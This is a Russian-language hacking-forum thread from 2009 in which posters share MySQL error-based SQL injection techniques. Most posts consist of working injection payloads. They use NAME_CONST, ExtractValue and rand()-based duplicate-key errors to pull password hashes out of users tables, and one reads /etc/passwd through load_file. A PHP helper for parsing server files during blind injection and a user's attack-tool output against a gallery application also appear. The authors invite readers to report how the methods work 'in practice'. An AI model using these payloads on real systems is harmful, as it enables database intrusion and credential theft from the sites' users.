ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

From ROA with love
  #11  
Старый 01.09.2009, 11:00
Qwazar
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912

Репутация: 4693


По умолчанию From ROA with love

Итак, развиваем тему "more 1 row".

Зачем слать по 40 запросов на хеш? Почему бы нам не вытянуть всё поле из БД сразу.

Для этого вспоминаем мой метод получения имён полей из БД:

Цитата:
-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b)a
Выведет имя поля, присутствуещего с двух сторон оператора JOIN: #1060 - Duplicate column name 'id'

А что если попытаться подставить значение из базы, в качестве имени одного из полей?

На поиск такого варианта я потратил много времени и решение было найдено:

Функция NAME_CONST()

Цитата:
mysql> SELECT NAME_CONST('myname', 14);
+--------+
| myname |
+--------+
| 14 |
+--------+
Пробуем, и получаем рабочий запрос:

Цитата:
SELECT 1 FROM news WHERE id=-1 UNION SELECT * FROM (SELECT * FROM (SELECT NAME_CONST((SELECT passhash FROM users LIMIT 1), 14)d) as t JOIN (SELECT NAME_CONST((SELECT passhash FROM users LIMIT 1), 14)e) b)a
Результат работы:
#1060 - Duplicate column name 'f8d80def69dc3ee86c5381219e4c5c80'


И вот ещё пример от jokester:
Цитата:
mysql> select username from AEF.aef_users where id=1 union select * FROM (SELECT * FROM (SELECT NAME_CONST((SELECT concat_ws(0x3a,user_loginname,user_password) FROM e107.e107_user LIMIT 1), 14)d) as t
JOIN (SELECT NAME_CONST((SELECT concat_ws(0x3a,user_loginname,user_password) FROM e107.e107_user LIMIT 1), 14)e) b)a;
Цитата:
ERROR 1060 (42S21): Duplicate column name 'admin:21232f297a57a5a743894a0e4a801fc3'
Ну и в неслепых скулях этим можно пользоваться если лень подбирать кол-во колонок.

Требования: MySQL=5.0.*, на 6й ветке не проверял, если кто проверит - отпишитесь.

Первым идею выводить значение поля в тексте ошибки, мне предложил Jokester (не забываем передавать спасибо и ему). На поиск варианта практической реализации, мной было потрачено около двух месяцев...

P.S.
Ну что, кто сможет быстрее??

UPD:
У меня текст имени колонки выводимой в ошибке, режется до 64 символов
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.

Последний раз редактировалось Qwazar; 01.09.2009 в 11:03..
 
Ответить с цитированием

  #12  
Старый 01.09.2009, 23:45
cr0w
Познающий
Регистрация: 11.09.2008
Сообщений: 99
Провел на форуме:
2753780

Репутация: 585
По умолчанию

Можно и еще быстрее. (: Например, если получать по 2 хеша за запрос:
Цитата:
-1 UNION SELECT * FROM (SELECT * FROM (SELECT NAME_CONST((SELECT GROUP_CONCAT(password SEPARATOR '') FROM cr0w.users LIMIT 2),14)d)t
JOIN (SELECT NAME_CONST((SELECT GROUP_CONCAT(password SEPARATOR '') FROM cr0w.users LIMIT 2),14)e)b)a;
Если, конечно, мы имеем дело с 32х-символьными хешами. (;

add:

А еще этим способом можно, например, более-менее сносно читать файлы:
Цитата:
-1 UNION SELECT * FROM (SELECT * FROM (SELECT NAME_CONST(substr(load_file('/etc/passwd'),1),1)r)e2
JOIN (SELECT NAME_CONST(substr(load_file('/etc/passwd'),1),1)qw)az)ar;
перемещая 64х-символьное "окно" по файлу, увеличивая на 64 второй параметр в substr()'ах.

Цитата:
Сообщение от Qwazar  
И т.д., когда переберём все столбцы, вернётся:
#1222 - The used SELECT statements have a different number of columns
Отмечу, что это в случае, если в таблице news и users разное количество столбцов. При одинаковом - запрос просто нормально выполнится.

Цитата:
Сообщение от Qwazar  
Требования: MySQL=5.0.*,
Если быть более точными, нужен MySQL=>5.0.12

Последний раз редактировалось cr0w; 02.09.2009 в 13:32..
 
Ответить с цитированием

  #13  
Старый 26.10.2009, 18:16
Qwazar
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912

Репутация: 4693


По умолчанию

Ещё один вариант вывода через ошибку нашёл Дмитрий Евтеев:
Код:
sql.php?id=1 and ExtractValue(1,concat(0x5c,('test')))
Вернёт ошибку:
Код:
XPATH syntax error: '\test'
Подробнее в этой презентации (слайд 24): http://www.slideshare.net/devteev/ad...7439?src=embed

З.Ы.
Как я понял требуется MySQL 5.1 , поправьте если ошибаюсь.

З.З.Ы.
Ограничение длины вывода - 31 символ.

3.3.3.Ы.
Советую презентацию целиком посмотреть, есть интересные вещи, хоть и намешано в кучу.
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.

Последний раз редактировалось Qwazar; 26.10.2009 в 18:28..
 
Ответить с цитированием

Парсинг файла.
  #14  
Старый 05.12.2009, 00:29
Grey
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме:
17668503

Репутация: 5826


По умолчанию Парсинг файла.

Парсинг файла.

Врятли скажу что нидь новое, да и в старой версии скрипта такая возможность была, но только плохо реализованная, в новой версии эта опция будет добавлена (алгоритм уже нормальный).

Ну так вот, суть в том, что при слепых sql инъекциях читать файлы почти не реально, т.к. времени это займет невероятно много. Но читать весь файл как правило и не нужно, ведь в большинстве случаев интересует какое то конкретное содержимое (переменные с данными для подключения к БД, паролями и т.д.). Вполне логичным становиться парсить файл средствами mysql и получать не всё содержимое файла, а только его нужную часть.

Алгоритм такой:

1. Берем фрагмент нужной переменной (к примеру: 'pass') и ищем его позицию.
2. Далее ищем позиции левой (к примеру: '$') и правой (к примеру: ';') границы.
3. Ищем другие позиции для данного фрагмента и следующие позиции границ.
4. Повторяем пункты 1-3 для фрагментов других переменных.
Таким образом мы получаем массив областей в котором для каждой переменной имеется начальная и конечная позиции.
5. Далее, не менее важным является удалить повторяющиеся позиции и пересечения областей (к примеру: было: '1','6'; '3','4'; '4','8','10','11'; => '1','8';'10','11';).

Для поиска позиций нужно использовать оптимизированную функцию (3.5 запроса на символ) - немного, но всё же быстрее, а тут скорость критична.

Сам поиск позиций осуществляется через функцию locate().
К примеру так:

PHP код:
function grey_fsif($file_name$text$begin_pos$vector 1) {

if(
$vector == 1) {
    
$result = (int) grey_uf2a3('locate(0x'.bin2hex($text).',load_file('.$file_name.'),'.$begin_pos.')'2);
} else {
    
$result = (int) $begin_pos - (grey_uf2a3('locate(0x'.bin2hex(strrev($text)).', reverse(left(load_file('.$file_name.'), '.($begin_pos 1).')))'2) - 1);
}

return 
$result; } 

Последний раз редактировалось Grey; 05.12.2009 в 00:46..
 
Ответить с цитированием

Вывод информации в ошибке для Mysql >= 4.1
  #15  
Старый 24.12.2009, 01:58
Qwazar
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912

Репутация: 4693


По умолчанию Вывод информации в ошибке для Mysql >= 4.1

Скрипт для теста:

PHP код:
<?php
 mysql_connect
("localhost""root""");
 
mysql_select_db ('test');

 
$rz mysql_query ("select count(*),concat(version(),floor(rand()*2)) x from users group by x;") or die (mysql_error());
?>
Запускаем несколько раз (!!!) и с далеко ненулевой вероятностью ловим ошибку типа:

Duplicate entry '5.0.45-community-nt1' for key 1
Duplicate entry '5.0.45-community-nt0' for key 1

Пример использования в скуле:
Код:
http://localhost/sql.php?id=1+UNION+select+1,count(*),concat((select pass from users limit 1),0x3a,floor(rand()*2))+x+from+users+group+by+x
Результат:
Код:
Duplicate entry '1bc29b36f623ba82aaf6724fd3b16718:1' for key 1
Вариант запуска без подбора колонок (Можно использовать только <,> и !=, символ = не прокатит):

Код:
http://localhost/sql.php?id=1'+and+row(1,1)>(select+count(*),concat((select+pass+from+users+limit+1),0x3a,floor(rand()*2))+x+from+users+group+by+x+limit+1)+--+1

Особенности:

1) Работает на всех ветках, проверял на 4.1, 5.0, 5.1 .

2) Когда в таблице из которой надо дёрнуть информацию, находится только одна строка, надо делать так:
Код:
sql.php?id=1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand()*2)) x from (select 1 union select 2)a group by x limit 1) -- 1
или так:
Код:
sql.php?id=1 union select 1,2,passwd from users where id=1 and row(1,1)>(select count(*),concat( (select users.passwd) ,0x3a,floor(rand()*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- 1
Может быть попробую перевести в более удобоваримую форму.

P.S.
Скриншот консоли, первые 3 раза запрос отработал, на 4й упал как надо: http://s48.radikal.ru/i120/0910/ce/4974d14483ba.jpg

P.P.S.
Я выкладываю всё это не просто так, большая просьба ко всем кто использует эти методы на практике - сообщайте о версиях на которых метод не отработал!! И о любом нестандартном поведении, которые замечаете. В данном случае так же интересуют закономерности и зависимости .

Так-же тут: http://qwazar.ru/?p=7
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.
 
Ответить с цитированием

  #16  
Старый 26.12.2009, 20:07
Root-access
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
Провел на форуме:
2223440

Репутация: 648
Отправить сообщение для Root-access с помощью ICQ
По умолчанию

Цитата:
Сообщение от cr0w  
Интересно придумал с more1row (:

p.s. и все таки удобнее использовать
Код:
select instr('0123456789abcdef', 'a');
select instr(0x30313233343536373839616263646566, 'a');
чем
Код:
select find_in_set('a', '0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f,);
select find_in_set('a', 0x302C312C322C332C342C352C362C372C382C392C612C622C632C642C652C66);
(;
Ещё альтернатива:
Код:
SELECT 'a' IN (%symbols);
А лучше всего по-моему так:
Код:
SELECT 'a' BETWEEN '0' AND 'z'
Ответ будет 0 или 1.

P.S. Ещё короче с регуляркой:
Код:
SELECT 'a' REGEXP '[0-z]'

Последний раз редактировалось Root-access; 27.12.2009 в 00:00..
 
Ответить с цитированием

  #17  
Старый 27.12.2009, 16:33
borntobebad
Новичок
Регистрация: 23.03.2009
Сообщений: 14
Провел на форуме:
74797

Репутация: 0
По умолчанию

testiruju na 4images s dirkoy na blin sql injection , rezultat nulevoy !!! moj zapros ne tak delau ?



C:\root\php>php.exe -f test.php http://localhost/gallery/categories.
php?cat_id= user_password 4images_users
Generating templates................ [OK]
Getting keywords................ [OK]
Filtering keywords................ [OK]
Sending queries................................ [OK]
Getting value: [DONE]
 
Ответить с цитированием

  #18  
Старый 27.12.2009, 19:07
cr0w
Познающий
Регистрация: 11.09.2008
Сообщений: 99
Провел на форуме:
2753780

Репутация: 585
По умолчанию

Цитата:
Сообщение от Root-access  
Ещё альтернатива:
Код:
SELECT 'a' IN (%symbols);
А лучше всего по-моему так:
Код:
SELECT 'a' BETWEEN '0' AND 'z'
Ответ будет 0 или 1.

P.S. Ещё короче с регуляркой:
Код:
SELECT 'a' REGEXP '[0-z]'
Это не альтернатива. С помощью find_in_set и ей подобных мы получаем не 0 или 1...

Можно заместо запросов типа
Код:
select find_in_set('a', '0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f');
использовать, к примеру, более короткий
Код:
select conv('a',16,10)+1
С помощью функции CONV можно получать значения [0-9a-z], но не более того. так как максимально возможное значение базы системы счисления для нее равно 36.

Последний раз редактировалось cr0w; 28.12.2009 в 02:06..
 
Ответить с цитированием

Вывод данных в ошибке для MySQL>=4.1
  #19  
Старый 29.12.2009, 12:25
Qwazar
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912

Репутация: 4693


По умолчанию Вывод данных в ошибке для MySQL>=4.1

Дмитрий Евтеев допилил мой вариант вывода данных в ошибке через рандом, чтобы вывод ошибки был в 100% случаев.

Вот запрос выводящий данные всегда:
Код:
select count(*),concat(version(),floor(rand(0)*2)) x from table group by x;
Источник: http://qwazar.ru/?p=7#comment-8378

P.S.
Различия в том, что в функцию rand() передаётся аргумент 0.
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.
 
Ответить с цитированием

  #20  
Старый 02.01.2010, 05:36
cr0w
Познающий
Регистрация: 11.09.2008
Сообщений: 99
Провел на форуме:
2753780

Репутация: 585
По умолчанию

Удобно использовать вышеописанный способ Qwazar'a с рэндомом, эксплуатируя сценарии запросами такого вида:
Код:
?sql.php=1 or (select count(*) from table group by concat(version(),floor(rand(0)*2)))--
Таблица table здесь - любая доступная для чтения таблица, содержащая более 2х записей, либо можно вписать вместо нее подзапрос с алиасом:
Код:
?sql.php=1 or (select count(*) from (select 1 union select 2 union select 3)x group by concat(version(),floor(rand(0)*2)))--
А в таблице, с которой читаем инфу, может быть любое число записей.

Последний раз редактировалось cr0w; 03.01.2010 в 21:40..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection для чайников, взлом ASP+MSSQL k00p3r Чужие Статьи 0 12.06.2005 12:42
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ